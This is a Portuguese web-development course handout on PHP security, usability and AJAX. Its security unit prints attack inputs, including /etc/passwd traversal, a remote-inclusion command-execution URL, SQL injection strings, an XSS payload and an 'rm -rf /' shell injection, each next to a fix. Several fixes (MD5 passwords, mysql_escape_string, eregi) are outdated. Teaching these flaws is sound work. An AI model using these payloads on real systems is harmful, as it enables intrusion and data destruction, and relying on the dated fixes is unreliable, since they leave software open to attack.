Macromedia Flash MX 2004: Rich Media Design
Transcrição
Macromedia Flash MX 2004: Rich Media Design
DESENVOLVIMENTO DE INTERFACES NA WEB 1 UNIDADE 1 1.1 1.2 CONCEITOS DE SEGURANÇA ............................................................................................................................................ 3 INVASÕES EM PHP ....................................................................................................................................................... 4 UNIDADE 2 2.1 DREAMWEAVER E O AJAX ...................................................................................................................... 91 ABORDAGEM SIMPLES SOBRE OS COMPONENTES DO SPRY ................................................................................................. 91 EFEITOS SPRY COM SPRY EFFECTS................................................................................................................................ 95 UNIDADE 8 8.1 MANIPULANDO O DOM EM JAVASCRIPT PARA RECURSOS COM AJAX ................................................... 58 ACESSO AOS ESTILOS DOS COMPONENTES DO DOCUMENTO................................................................................................. 58 BIBLIOTECAS LIVRES: A FACILIDADE NA MANIPULAÇÃO DE DOCUMENTOS................................................................................ 62 CRIANDO UMA JANELA ARRASTÁVEL ............................................................................................................................... 65 CRIANDO UMA “ÁVORE DE MENUS” ............................................................................................................................... 69 CRIANDO EFEITO “LIGHTBOX” ....................................................................................................................................... 74 ORDENANDO TABELAS ................................................................................................................................................. 75 AMPLINADO IMAGENS ................................................................................................................................................. 77 CRIANDO AVALIAÇÕES ................................................................................................................................................. 79 MENUS EM ABAS ....................................................................................................................................................... 81 EXIBINDO DICAS EM LINKS ............................................................................................................................................ 85 EXIBINDO UM CALENDÁRIO .......................................................................................................................................... 88 UNIDADE 7 7.1 7.2 REQUISIÇÕES DINÂMICAS EM AJAX AO PHP .......................................................................................... 49 CRIANDO UM DOCUMENTO XML TEXTUAL COM CONEXÃO AO BANCO DE DADOS .................................................................... 49 UNIDADE 6 6.1 6.2 6.3 6.4 6.5 6.6 6.7 6.8 6.9 6.10 6.11 ESTRUTURA DE UM DOCUMENTO XML .................................................................................................. 37 MONTANDO UM DOCUMENTO XML COM DOM E PHP. ................................................................................................... 39 MONTANDO UM XML EM PHP DE FORMA TEXTUAL ......................................................................................................... 43 RETORNO DO CONTEÚDO EM XML PARA O AJAX .............................................................................................................. 44 UNIDADE 5 5.1 INTERFACES - DESEMPENHO .................................................................................................................. 19 CONCEITOS ............................................................................................................................................................... 19 O QUE É AJAX? .......................................................................................................................................................... 19 OS QUATRO PRINCÍPIOS DO AJAX: ................................................................................................................................. 21 COMO COMEÇAR? ...................................................................................................................................................... 23 COMO TESTAR O NAVEGADOR? ..................................................................................................................................... 23 REQUISITANDO EM DIVERSOS BROWSERS:........................................................................................................................ 25 ENVIANDO A REQUISIÇÃO - PARÂMETROS DO ENVIO DA REQUISIÇÃO ..................................................................................... 27 VERIFICANDO OS DADOS RETORNADOS PELO SERVIDOR: ..................................................................................................... 29 RETORNOS EM TEXTO SIMPLES: ..................................................................................................................................... 29 UNIDADE 4 4.2 4.3 4.4 INTERFACES - APRESENTAÇÃO ............................................................................................................... 16 USABILIDADE ............................................................................................................................................................. 16 UNIDADE 3 3.1 3.2 3.3 3.4 3.5 3.6 3.7 3.8 3.9 INTERFACES - SEGURANÇA ....................................................................................................................... 3 TRABALHO FINAL: .................................................................................................................................. 99 APLICANDO OS RECURSOS NA PRÁTICA: ........................................................................................................................... 99 2 Desenvolvimento de Interfaces na Web Unidade 1 - Interfaces - Segurança 1.1 Conceitos de Segurança Quando pensamos desenvolvimento de interfaces para Web é inevitável observarmos questões de segurança e desempenho. Neste sentido são cada vez mais crescentes as tentativas de padronização e definições de formatação de linguagem, processos e protocolos de comunicação. Por isso, o termo Segurança da Informação que está relacionada com proteção de um conjunto de dados, no sentido de preservar o valor que possuem, ganha cada vez mais destaque. Os três principais atributos que são levados em consideração para a análise e orientação, além do planejamento e implantação da segurança são: CIA (Confidentiality, Integrity and Availability) -Confidencialidade, Integridade e Disponibilidade. Outros atributos importantes são a irretratabilidade e a autenticidade. Graças a evolução do comércio eletrônico e das redes sociais com a Internet 2.0, a privacidade é também uma grande preocupação. Os atributos básicos (segundo os padrões internacionais) são os seguintes: Confidencialidade - é o atributo que limita o acesso a informação tão somente às somente das pessoas/sistemas que possuem autorização. Integridade – o atributo que garante que a informação manipulada mantenha todas as características originais estabelecidas pelo proprietário da informação, incluindo controle de mudanças e garantia do seu ciclo de vida (nascimento, manutenção e destruição). Disponibilidade - propriedade que garante que a informação esteja sempre disponível para o uso legítimo, ou seja, por aqueles usuários autorizados pelo proprietário da informação. Existem algumas metodologias de segurança que são utilizadas na tentativa de frear as constantes invasões que muitos sistemas vem sofrendo, são elas: Mecanismos de criptografia. Permitem a transformação reversível da informação de forma a torná-la ininteligível a terceiros. Utiliza-se para tal, algoritmos determinados e uma chave 3 Desenvolvimento de Interfaces na Web secreta para, a partir de um conjunto de dados não criptografados, produzir uma seqüência de dados criptografados. A operação inversa é a decifração. Assinatura digital. Um conjunto de dados criptografados, associados a um documento do qual são função, garantindo a integridade e autenticidade do documento associado, mas não a sua confidencialidade. Mecanismos de garantia da integridade da informação. Usando funções de "Hashing" ou de checagem, consistindo na adição. Mecanismos de controle de acesso. Palavras-chave, sistemas biométricos, firewalls, cartões inteligentes. Mecanismos de certificação. Atesta a validade de um documento. Integridade. Medida em que um serviço/informação é genuíno, isto é, está protegido contra a personificação por intrusos. Honeypot: É o nome dado a um software, cuja função é detectar ou de impedir a ação de um cracker, de um spammer, ou de qualquer agente externo estranho ao sistema, enganandoo, fazendo-o pensar que esteja de fato explorando uma vulnerabilidade daquele sistema. Protocolos seguros: uso de protocolos que garantem um grau de segurança e usam alguns dos mecanismos citados aqui 1.2 Invasões em PHP A linguagem PHP é uma das mais difundidas na Internet e por conseqüência também a que possui o maior número de tentativas, e muitas vezes sucesso, de invasão. A utilização da combinação de PHP, Mysql e Apache para o desenvolvimento de sistemas e-commerce, abriu um amplo caminho para a atuação dos crackers. Ë fundamental observar alguns procedimentos simples, mas que podem fazer muita diferença, para a segurança de seu sistema. Vejamos alguns deles. 1.2.1 Variáveis Globais Este tipo de invasão já é bem antigo, e foi tratado em muitos artigos e fóruns de discussão, no entanto ainda é comum encontrarmos programadores que não se preocupam com este tipo de falha na segurança No php.ini (arquivo de configuração do PHP) a variável register_globals até a versão 4.2.0 o padrão era ON (ativada), porém a partir dela o padrão tornou-se OFF (desativada), mas muitos servidores ainda usam ON, pois muitos scripts antigos foram feitos com base o register_globals ON, então obviamente não funcionam quando o padrão é OFF. O problema quando register_globals está ON é que as variáveis GET/POST se tornam variáveis globais. 4 Desenvolvimento de Interfaces na Web Por exemplo: http://site.com.br/teste.php?id=4&cidade=poa Como register_globals está ON, as variáveis id e cidade tornaram-se variáveis globais. <?php echo $id; // 4 echo $cidade; // poa ?> O problema é que isso permite que variáveis sejam injetadas via url. Um script com grande vulnerabilidade poderia ser um como esse: <?php if(Validausuario($usuario, $senha)) { $logado = 1; } // se tiver valor 1 é como se fosse autenticado if($logado == 1) { // se estiver logado ele vê a pagina admin.php. include("admin.php"); } ?> No entanto se fosse digitado no browser o endereço: teste.php?logado=1. O script entenderia que a pessoa está logada, pois $logado se tornou uma variável global com o valor 1. Uma forma mais simples de “corrigir” o problema seria assim: <?php if(Validausuario($usuario, $senha)) { $logado = 1; } else { $logado = 0; 5 Desenvolvimento de Interfaces na Web } ?> Desse modo, até mesmo se o $logado for injetado via url, ele se tornaria 0. Com register_globals OFF, variáveis que são passadas como parâmetro via url, não se tornam variáveis globais. A forma certa de utilizar é o simples uso das chamadas variáveis “super globais”, tais como $_GET, $_POST, $_SERVER, etc. O uso das “super globais” sempre é recomendado por razões de segurança e também por deixar o código mais limpo e seguro. Pois atreves de seu uso saberemos quais são as variáveis que estão sendo envidas pelos métodos GET/POST e quais não estão. 1.2.2 Arquivos include Seguir as orientações de encapsulamento de código e trabalho em camadas, com o uso de padrões como o MVC é altamente recomendável. Para tal, na linguagem PHP utilizamos a chamadas a arquivos externos com o uso dos comandos require ou include. Vejamos o seguinte exemplo: <?php //aqui ficaria o cabeçalho $page = $_GET['page']; include($page); //aqui ficaria o rodapé ?> Deste modo, é possível colocar conteúdos específicos em arquivos separados. Exemplo: about.php, download.php, e o link para essas paginas seriam algo como: index.php?page=about, index.php?page=downloads.php. No entanto nosso código ficaria vulnerável. No caso de a requisição a nossa página ser realizada da seguinte formada: index.php?page =.. /.. /.. /.. /.. /.. /.. /etc/passwd 6 Desenvolvimento de Interfaces na Web Dessa forma seu arquivo de senhas fica vulnerável para ser visualizado, ou qualquer outro arquivo que esta rodando sob o PHP (HTTPD ou Apache normalmente), pode ser lido por qualquer usuário. O outro problema é se o parâmetro 'URL Wrapper', também localizado no arquivo php.ini, estiver marcado como ON (que é o valor por padrão), com isso é possível fazer um upload de um arquivo para outro Web Server. Vejamos outro exemplo: <?php passthru($_GET['cmd']); ?> Neste caso, ao inserirmos na barra de enderços o seguinte valor: index.php?page=http://outrosite.com.br/hax0r.txt&cmd=whoami poderemos então rodar qualquer comando em seu servidor ou poderemos mostrar detalhes da conexão com o banco de dados, ou seja, basicamente rodar qualquer código PHP. A função include recupera um arquivo de um servidor, e então executa isso como um código PHP, algo que é obviamente muito perigoso. Um método seguro de incluir arquivos seria como o abaixo: <?php //cabeçalho do site $page = $_GET['page']; //para ter certeza que $page é alfanumérico. if(eregi("^[a-z0-9\-_\.]+$", $page, $regs)) { $dir = "includes/"; //pode ser branco $ext = ".php"; //.php, .html, .txt, whatever if(file_exists($dir . $page . $ext)) { include($dir . $page . $ext); //ou outro tipo de extensão se não for necessariamente um arquivo .php 7 Desenvolvimento de Interfaces na Web } else { echo '404 - Not Found'; //ou algo similar } } else { echo 'Conteúdo do site'; /rodapé do site } ?> Então o link: index.php?page=about (assumiria about.php dentro do diretório 'includes'). Se o arquivo que será incluído não contém código PHP e possui apenas texto, então o correto é a utilização da função readfile() ao invés de include()/require(), pois ambos irão executar qualquer código PHP que o arquivo incluído contiver, no entanto a função readfile() não o fará. Usar um diretório separado para incluir arquivos é uma ótima for de evitar urls como: "includes/http://blah.com/lala.txt" que neste caso não irá funcionar. Não é realmente necessário esta prática se utilizarmos a função eregi() como filtro nas urls, no entanto é recomendável não deixá-los na raiz. É comum encontrarmos arquivos que serão incluídos com a extensão '.inc'. Esta prática é perigosa, pois arquivos com a extensão 'inc' não são interpretados como arquivos com um código PHP pelo Web Server e seu conteúdo será visualizado pelo navegador como um texto. Esta prática expõe muitas vezes arquivos, importantes como os arquivos de configuração que podem conter senhas de banco de dados ou outros dados considerados sigilosos. Arquivos que serão incluídos devem ter a extensão .php, como por exemplo: config.inc.php. Obviamente a manutenção do “inc” é claramente um definição utilizada para um melhor controle dos arquivos que estão sendo inseridos 1.2.3 SQL injection SQL injection ganhou muita visibilidade nos últimos devido ao grande numero de sites que tem seus bancos de dados expostos a falhas. A exposição dos sistemas de gerenciamento de banco de dados é definida pela construção da codificação da linguagem que faz conexão com o mesmo, mas também por regras internas de segurança. Estas regras podem, por exemplo, definir se o usuário que realiza a conexão com o banco possui permissão de visualizar a estrutura de todas as tabelas ou mesmo sua exclusão. Aqui iremos nos deter apenas na fragilidade do código PHP, que pode permitir a invasão do banco de dados. 8 Desenvolvimento de Interfaces na Web Vamos nos deter em um simples sistema de login, que valida usuários do banco dados: <?php $username = $_POST['username']; $password = $_POST['password']; $query = "SELECT * password='$password'"; FROM `users` WHERE username='$username' AND $result = mysql_query($query); if(mysql_num_rows($result) > 0) { $admin = 1; } else { $admin = 0; } if($admin == 1) { // blah blah, restricted content here. } ?> Observamos então, que o que código acima realiza é pegar o username e o password recebidos do formulário e checar no banco de dados para conferir se os mesmos são válidos. Vamos considerar como um usuário válido, "admin", por exemplo. Se nós colocarmos no campo de login da pagina: admin'# Vejamos o resultado se reescrevermos a SQL com as variáveis expandidas: <?php $query = "SELECT password='xxx'"; * FROM `users` WHERE username='admin'#' AND ?> O problema aqui é que as aspas simples não estão sendo escapadas adequadamente. No MySQL, o símbolo (#) é considerado como um comentário, como as barras duplas (//) no PHP ou 9 Desenvolvimento de Interfaces na Web C++, tudo após o (#) passa a ser ignorado pois passa a ser um comentário, ignorando a verificação da senha. Obviamente isto só irá funcionar se você tiver um usuário válido. No entanto, você não precisa necessariamente utilizar um usuário válido pode-se realizar o teste usando: ' OR 1=1# O resultado disto na conversão da SQL com as variáveis expandidas:: <?php $query = "SELECT password='xxx'"; * FROM `users` WHERE username='' OR 1=1#' AND ?> Isso irá selecionar todos os usuários do banco de dados. Se a função de login apenas contar o numero de linhas retornadas apos a query como a do exemplo. Então provavelmente irá assumir os dados do primeiro usuário retornado. Que pode ser possivelmente um admin. Há várias coisas perigosas que podem ser realizadas com SQL injection. O problema principal são as aspas simples serem interpretadas como parte da query, que obviamente não é o que desejamos. O precisa ser feito é sempre ter certeza que elas serão escapadas, de forma que ' se tornaria \' (\ é usado quando se escapa uma string). O melhor modo para fazer isto é usar a função nativa do PHP mysql_escape_string, como o exemplo abaixo: <?php $username = mysql_escape_string($_POST['username']); $password = mysql_escape_string($_POST['password']); $query = "SELECT * password='$password'"; FROM `users` WHERE username='$username' AND //etc etc ?> Agora se nós tentarmos entrar com o campo username contendo admin'# aconteceria o seguinte: 10 Desenvolvimento de Interfaces na Web <?php $query = "SELECT password='xxx'"; * FROM `users` WHERE username='admin\'#' AND ?> As aspas simples são escapadas com sucesso e a query não está mais vulnerável. Se você sabe que uma determinada variável irá ter o valor de inteiro, então o melhor a ser feito é: <?php $offset = (int)$_GET['offset']; $query = "SELECT * FROM `cakes` LIMIT 20 OFFSET '$offset'"; ?> Então só um valor numérico pode ser passado deste modo, se um texto for enviado o valor da variável $offset será 0. Praticamente tudo precisa ser escapado antes de ser enviado ao banco de dados. Os programadores tendem a esquecer de coisas que não estão vindos das variáveis GET/POST, como o HTTP_REFERER ou HTTP_USER_AGENT, estes podem ser facilmente modificados para conter uma SQL injection que deve ser escapado antes de ser colocado em uma query. Nota: Para você tirar as barras que foram incluídas para escapar, quando for mostrar os dados para o usuário use stripslashes(). Para evitar barras desnecessárias: <?php $article = mysql_fetch_array($fnord); echo $article['title']; // Badger\'s Parade echo stripslashes($article['title']); // Badger's Parade ?> 1.2.4 Protegendo partes dos arquivos 11 Desenvolvimento de Interfaces na Web Outra falha comum é esquecer a checagem do login em determinadas partes do código, como páginas internas que são visualizadas após o login. Vejamos este exemplo: postnews.php: <?php if($_SERVER['REQUEST_METHOD'] == 'POST') { header("Location: news.php"); exit; } // Post News: if(!UserLoggedIn()) { echo "Erro, Você não está logado"; die; } // html do formulário ?> Se um usuário não autenticado fosse a essa pagina, então um erro iria aparecer. Se, no entanto um valor vindo do campo POST fosse enviado, seria possível ter acesso ao news.php sem estar autenticado. É muito fácil de esquecer-se de proteger pedaços específicos de códigos, especialmente quando usuários logados e não logados tem acesso à mesma pagina e irão ver conteúdos diferentes, como também existem paginas que apenas quem está logado pode ter acesso. Sempre se lembre de proteger qualquer parte do código com checagens de login antes de executar o resto do código. 1.2.5 Cross Site Scripting (CSS/XSS) Cross Site Scripting é feito quando você não filtra tags HTMLs vindas de um usuário e acaba executando elas, por exemplo: <?php if(mysql_num_rows($result) < 1) { echo "Sua busca por {$_GET['q']} não encontrou resultados"; 12 Desenvolvimento de Interfaces na Web exit; } else { //blah } ?> search.php?q=<script>alert("hello");</script> Em uma busca mal sucedida exibiria isto; "Sua busca por <script>alert("hello");</script> não encontrou resultados " Esse Javascript seria interpretado pelo navegador e uma alerta seria exibido. Enquanto esse exemplo pode parecer relativamente inofensivo, é possível colocar coisas que irão pegar dados de cookies, podendo até roubar sessões. Os dados devem ser checados antes de serem interpretados sempre, como no caso de SQL injection, em XSS também, existem dois métodos para fazer isso: . A função strip_tags(); Irá remover todas as tags HTML de uma string; . A função htmlspecialchars(); Que irá converter caracteres especiais do HTML para um tipo que não poderá ser interpretado no browser como função do HTML e sim texto. <?php echo " Sua busca por resultados"; //converte echo " Sua busca resultados"; //remove ".htmlspecialchars($_GET['q'])." não encontrou por ".strip_tags($_GET['q'])." não encontrou ?> O correto é que nenhum valor vindo de um usuário deve ser executado sem uma devida checagem antes. 1.2.6 Ver código fonte 13 Desenvolvimento de Interfaces na Web Exitem alguns sites que permitem através de funções específicas que seus usuários vejam o código fonte de determinadas páginas. Normalmente um link é chamado viewsource.php?file=about.php ou algo do gênero. Esta funcionalidade apesar de ser bem interessante, geralmente acaba deixando o site vulnerável para que se possa ver qualquer código fonte de um arquivo no servidor. Algo que certamente não é desejado, pois certos arquivos podem conter senhas de bancos de dados etc. <?php // script vulnerável if($file == 'config.php') { die("Você não pode visualizar este arquivo"); } ?> O problema com isto é que você pode fazer o seguinte viewsource.php?file=./config.php e isso irá checar com os caracteres adicionais ./. O melhor jeito de fazer isso é: <?php // agora sim if(stristr($file, "config.php")) { die("Você não pode visualizar este arquivo "); } ?> Sendo que a função stristr(), irá exibir o conteúdo da string $file a partir do trecho “config.php”, eliminando assim os caracteres adicionais. 1.2.7 Comandos shell 14 Desenvolvimento de Interfaces na Web Comandos shells são outro exemplo de falha de vulnerabilidade. No PHP executar comandos shell é fácil, pois existem varias funções para isso, como system(), exec(), popen(), backticks, passthru, etc. De forma padrão não devemos utilizar qualquer valor vindo de um usuário para executar como um comando shell: <?php $text = $_GET['text']; $banner = `banner $text`; ?> Se alguém colocar: x; rm; -rf; /; isso causaria muitos problemas.. Você pode usar a função escapeshellcmd(); para se proteger de dados perigosos vindos de usuários. Está função escapa qualquer caractere em uma string que possa ser utilizado para enganar um comando shell para executar comandos arbitrários. E também é aconselhável usar alguma regex para ter certeza. O ideal é não utilizar valores de um usuário em comandos shell. 1.2.8 Senhas de banco de dados É extremamente aconselhável utilizar algum tipo de encriptação no armazenamento de suas senhas. O MD5 é um dos tipos de encriptação suportado pelo PHP e recomendado para a maioria das aplicações. Existem outras metodologias de encriptação e devem ser avaliadas sempre que se pensa em segurança de dados. 15 Desenvolvimento de Interfaces na Web Unidade 2 - Interfaces - Apresentação 2.1 Usabilidade O termo usabilidade na Informática é usado para definir a facilidade com que as pessoas podem utilizar um sistema a fim de realizar uma tarefa específica e importante. A usabilidade pode também se referir aos métodos de mensuração da usabilidade deste mesmo sistema. A usabilidade está diretamente ligada ao diálogo na interface e a capacidade do software em permitir que o usuário alcance suas metas de interação com o sistema. Ser de fácil aprendizagem, permitir uma utilização eficiente e apresentar poucos erros, são os aspectos fundamentais para a percepção da boa usabilidade por parte do usuário. Mas a usabilidade pode ainda estar relacionada com a facilidade de ser memorizada e ao nível de satisfação do usuário. A necessidade de entender as necessidades dos usuários no ambiente virtual facilita a compreensão do conteúdo disponibilizado, fazendo-o auto-suficientes para navegar pelos diversos conteúdos. Até quem tem dificuldade motora ou problemas de navegação por falta de conhecimento técnico poderá alcançar o que deseja o produtor da informação, se os processos de usabilidade forem respeitados, deixando o usuário da página web mais à vontade, mais independentes. 16 Desenvolvimento de Interfaces na Web 2.1.1 Usuário como foco No desenvolvimento de um sistema ou adaptação de novos módulos para um sistema é importante que se siga um padrão de mercado ou quando possível agradar o máximo de características semelhantes as de uma interface que o usuário alvo já esteja acostumado. Um dos pontos importantes na aceitação da interface é a maneira com que o desenvolvedor irá "driblar" a poluição visual que pode acabar tornando uma interface muito diferente dos padrões de uma interface amigável. O paradigma de desenvolvimento de uma interface com o usuário deve permitir a realização de sucessivos ciclos de "análise/concepção/testes", com a necessária retro-alimentação dos resultados dos testes, de um ciclo a outro. A estratégia consiste em, a cada ciclo, identificar e refinar continuamente o conhecimento sobre o contexto de uso do sistema e as exigências em termos de usabilidade da interface. Na seqüência dos ciclos se constroem versões intermediárias da interface do sistema que são submetidas a testes de uso, em que os representantes dos usuários simulam a realização de suas tarefas. Inicialmente eles participarão de simulações "grosseiras", usando maquetes, mas, com o avanço do desenvolvimento, eles recorrerão a protótipos e versões acabadas do sistema, em simulações mais e mais fidedignas. O objetivo é avaliar a qualidade das interações e levar em conta os resultados dessas avaliações para a construção de novas versões das interfaces. Se implementada desde cedo no desenvolvimento, tal estratégia pode reduzir o risco de falhas conceituais do projeto, garantindo que, a cada ciclo, o sistema responda cada vez melhor às expectativas e necessidades dos usuários em suas tarefas. Uma interface amigável, deve fazer com que o usuário se sinta bem ao utilizar o sistema e o mesmo deve transmitir a ele uma sensação de que é fácil de ser operado. Deve ter comandos intuitivos e visuais caprichados. Muitas vezes a simplicidade e a padronização é o segredo para colocar o sistema que está sendo desenvolvido ao público com uma interface amigável. Interfaces muito cheias de animações e imagens, ao contrário do que se pensa, criam inúmeras dificuldades ao usuário em navegar ou clicar em um botão específico no programa ou consultar uma informação, além de transmitir uma impressão de que o mesmo é complexo e difícil de ser operado. 17 Desenvolvimento de Interfaces na Web É sempre indicado que se use cores padrões do sistema operacional. Cores fortes, como vermelho, devem ser usadas apenas em situações que devem chamar a atenção do usuário. O software a ser utilizado deve ter atributos (ergonômicos e de funcionalidade) que propiciem ou mesmo incentivem o desenvolvimento de posturas autônomas de aprendizado. É preciso identificar que atributos são estes. O já tradicional e conhecido conceito de interface amigável deve ser revisto a partir de tais hipóteses. As hipóteses construídas na dimensão pedagógica podem agora ser analisadas da perspectiva técnica. A primeira hipótese afirma que a tarefa que o usuário vai realizar deve ser prioritária na definição da interface. Já a segunda hipótese, sustenta que o conhecimento das características técnicas do hardware e do software deve ocorrer na medida em que o uso do equipamento progride, ou seja, na medida em que a necessidade desse conhecimento se impõe ao sujeito que aprende. No âmbito do projeto de interfaces tal hipótese está relacionada com o princípio geral, pelo qual, deve-se minimizar a carga de conhecimentos externos ao domínio da realização da tarefa, necessários à operação do ambiente. A análise da terceira hipótese na abrangência das características técnicas da ferramenta não é tão simples. Esta hipótese fixa que o aprendizado autônomo pressupõe relações de cooperação entre os aprendizes. Ora, a nível técnico a implementação de sistemas que permitam o trabalho cooperativo entre vários usuários tem, por excelência, sido buscada com a tecnologia de redes de computadores, com os sistemas que permitem o compartilhamento de tarefas como a construção distribuída de base de dados (por exemplo). 18 Desenvolvimento de Interfaces na Web Unidade 3 - Interfaces - Desempenho 3.1 Conceitos Quando pensamos no desenvolvimento de interfaces para WeB, não podemos deixar de pensar em questões de performance. Mesmo com o aumento constante da velocidade da difusão da banda larga, a Internet ainda possui um volume significativo de usuários que ainda possuem conexões de baixa performance. Alem disso, o uso cada vez mais comum dos meios digitais para comercio eletrônico, tem elevado o grau de importância dado a performance. Neste âmbito, apenas alguns segundos podem ser cruciais para a definição da concretização ou não de um volume maior de vendas. Existem várias tecnologias que se popularizaram para este tipo de aplicação, dentre elas podemos citar .net, php, jsp, javascript, XML, mas cada uma delas tem sua participação no desenvolvimento de sistemas para web. A combinação de linguagens mais popular é a chamada Ajax, da qual veremos mais detalhes nas próximas unidades. 3.2 O que é Ajax? Ao contrário do que muitos pensam Ajax não é uma nova tecnologia, e sim a junção de tecnologias existentes no âmbito web que unidas melhoram tanto a performance quanto a sistemática de navegação em website nos quesitos de usabilidade e funcionalidade. AJAX é a abreviação de Assyncronous Javascript and XML, ou seja, o acesso a dados de forma Assíncrona no servidor utilizando-se linguagem Javascript no navegador e arquivos XML gerados por alguma linguagem dinâmica no servidor. Arquivos XML (eXtensible Markup Language) tem-se tornado populares na difusão e compartilhamento de dados e acessibilidade para dispositivos moveis por exemplo. Veremos em breve o formato e a maneira que estes arquivos são interpretados. O surgimento desta tecnologia é tratado junto com uma serie de outras modificações e padronizações na web que formam o paradigma da Web 2.0, onde conceitos que visam o conforto do usuário e a facilidades na navegação imperam junto com padrões já estabelecidos com o w3c. Veja abaixo um diagrama que expressa um pouco melhor este conceito: 19 Desenvolvimento de Interfaces na Web Como sabemos devido ao Javascript ser uma linguagem Client Side não é possível realizar a leitura de um arquivo texto comum pelo Javascript, pelo menos de forma que este reflita as informações e comportamentos retornados pelo servidor, desta maneira ficamos apegados à uma forma de poder executar um arquivo dinâmico do outro lado, sem que este seja exibido, ou sequer acessado diretamente pelo cliente. A forma que estes dados serão retornados será em XML ou através de uma String que será tratada por nós no Javascript. Exemplos simples de aplicações com Ajax, são simples formulários web que não necessitam ser recarregados para buscarem determinadas informações do servidor, como o caso de o usuário selecionar um estado e logo após aparecem as opções de seleção de cidades do respectivo estado selecionado no processo anterior. Desta forma ganhamos tempo de navegação e satisfação do usuário que está navegando em nosso site. Veja abaixo alguns outros exemplos práticos: Carrinho de compras: utilizando-se da manipulação em DOM o usuário pode arrastar e soltar produtos diretamente dentro do carrinho, sem a necessidade de esperar por inúmeras requisições da pagina ao servidor. Formulários com grande número de campos: possibilidade de selecionar os campos que serão preenchidos e estes já auto formularem os dados disponíveis em outros elementos do formulário, sem o recarregamento da página. Auto completar: recurso já disponível em aplicativos que são executados no desktop também pode ser implementado em um site da internet, sugerindo palavras conforme os caracteres que o usuário digita no teclado em determinado campo do formulário. 20 Desenvolvimento de Interfaces na Web 3.3 Os quatro princípios do AJAX: 3.3.1 O navegador hospeda uma aplicação e não o conteúdo: Em uma aplicação web clássica o navegador faz o papel de uma espécie de terminal burro. Ele não sabe absolutamente nada do que o usuário esta realmente realizando em suas ações conseqüentes. Sendo que inúmeras solicitações devem ser feitas ao servidor pela sessão do usuário para que o conteúdo do site seja atualizado. Quando a sessão do usuário é iniciada no servidor, o site simplesmente carrega uma interface com o que foi retornado, sendo que qualquer outra interação do usuário será processada no lado do servidor, e novamente o site será recarregado para que estas sejam atualizadas (exemplo clássico de comercio eletrônico). Já em uma aplicação AJAX a parte lógica da operação é movida para o navegador (lado do cliente), como mostrado abaixo: 21 Desenvolvimento de Interfaces na Web Uma aplicação AJAX bem desenvolvida elimina diversas etapas de requisições ao servidor, deixando a aplicação agir de forma mais inteligente, e ganhando-se assim um considerável tempo de navegação no site. Veja o gráfico abaixo: Portanto, vamos a partir de agora abordar um novo conceito no processo de requisição de dados, e dividir melhor as tarefas, bem vindo ao AJAX. 22 Desenvolvimento de Interfaces na Web 3.4 Como começar? Um dos maiores empecilhos da utilização do Javascript sempre foi a questão de compatibilidade entre os navegadores em uso, atualmente temos divergências entre os métodos de acessibilidade dos navegadores mais populares (Mozilla Firefox e Internet Explorer). Para isso existem maneiras de solicitar as requisições identificando qual o navegador que está sendo usado pelo usuário no momento de acesso ao site. Utilizaremos um método conector conhecido como Requisitor XML via HTTP. Para acessarmos este elemento criaremos uma função que simplesmente realizará este processo. O navegador Microsoft utiliza um componente adjacente acessado por controle ActiveXObject. 3.5 Como testar o navegador? Sabemos que no Javascript se alguma instrução ou erro de sintaxe ocorre durante o processo muitas etapas são abortadas e muitas vezes um erro é gerado e retornado na tela do navegador, para o cliente isso é sinônimo de site mal estruturado e desenvolvido, surge então a possibilidade de tratarmos estes erros e retornarmos algo mais Suva no momento de tratar este problema. Tentativa e retorno (TRY and CATCH) Veja o exemplo a seguir: var s; var a = new Array("maçã", "banana") s = a[3].substring(0,4); document.write(s); O exemplo acima se executado irá retornar um erro dizendo que o vetor não possui a posição solicitada, e que não é possível executar a função substring no elemento desejado. 23 Desenvolvimento de Interfaces na Web Caso quiséssemos executar este mesmo processo de forma que caso algo de errado seja retornado um erro coerente para o usuário poderíamos usar o TRY and CATCH. Veja a atualização do código abaixo: var s; var a = new Array("maçã", "banana") try{ s = a[3].substring(0,4); }catch(e){ s = “Ocorreu um erro no script!”; } document.write(s); O TRY and CATCH é um teste seqüencial que sempre retorna um valor e que visa tratar um erro que possa interromper a execução do script de forma grosseira. A sintaxe é dada da seguinte maneira: try { bloco com código normal mas que pode gerar erros } catch(exceção) { bloco com código capaz de fazer a recuperação dos erros } Ou em pseudocódigo: tentar { bloco com código normal mas que pode gerar erros } retorna(exceção) { bloco com código capaz de fazer a recuperação dos erros } NOTA: Apesar de estas instruções não fazerem parte do padrão ECMAScript, elas são suportadas por todos os browsers importantes e são de grande utilidade para a construção de código robusto. Em qual circunstância será usado o TRY and CATCH? 24 Desenvolvimento de Interfaces na Web A acessibilidade ao XML varia de navegador para navegador, sendo que se tentarmos acessá-lo de uma forma não disponível no navegador do usuário uma série de erros será retornada. 3.6 Requisitando em diversos browsers: Utilizando-se da função TRY and CATCH criaremos uma função especifica para utilizarmos o AJAX no navegador do usuário, está usará os seguintes métodos para acessar estes componentes: Internet Explorer: Active XObject(“Msxml2.XMLHTTP”): AtiveXObject(“Microsoft.XMLHTTP”); Firefox, Opera, Saffari, e outros: XMLHttpRequest; Onde: XMLHTTP: Objeto Javascript que torna possível a comunicação assíncrona com o servidor, sem a necessidade de recarregara página por completo. Este objeto fazer parte da especificação DOM nível 3. Veja um exemplo da função abaixo: function criaxmlhttp(){ try{ xmlhttp = new XMLHttpRequest(); }catch(e){ try{ xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }catch(e1){ try{ xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }catch(e2){ xmlhttp = false; document.write("Navegador não da suporte a Ajax!"); } } } 25 Desenvolvimento de Interfaces na Web } Com esta função iremos ao longo do curso prosseguir com a consulta assíncrona de dados no servidor, sendo que como podemos analisar em ultimo caso é retornado um erro informado que o navegador do usuário não é compatível com AJAX. 26 Desenvolvimento de Interfaces na Web 3.7 Enviando a requisição - parâmetros do envio da requisição Após termos estabelecido qual o objeto de conexão será utilizado pelo cliente para a conexão assíncrona, deveremos então criar uma nova função que será responsável por requisitar determinado arquivo dinâmico no servidor e realizar assim a solicitação e futuramente a leitura dos dados retornados pelo servidor. Para realizar a requisição utilizaremos do método OPEN no qual serão passados três parâmetros: objeto.open(MÉTODO, URL, ASSINCRONA?); Onde: Objeto: objeto XmlHTTP gerado pela função anteriormente vista. Método: GET ou POST. Assíncrona: valor booleano no qual TRUE representa que a conexão é assíncrona, e necessita de um retorno dado pelo servidor, e FALSE caso contrário. Vejamos então como ficará a nossa função juntamente de alguns outros métodos essenciais no Ajax: function acessa(elemento,valor){ criaxmlhttp(); xmlhttp.open("GET",”arquivo01.php,true); xmlhttp.send(null); } Como podemos observar, primeiramente é chamada a função 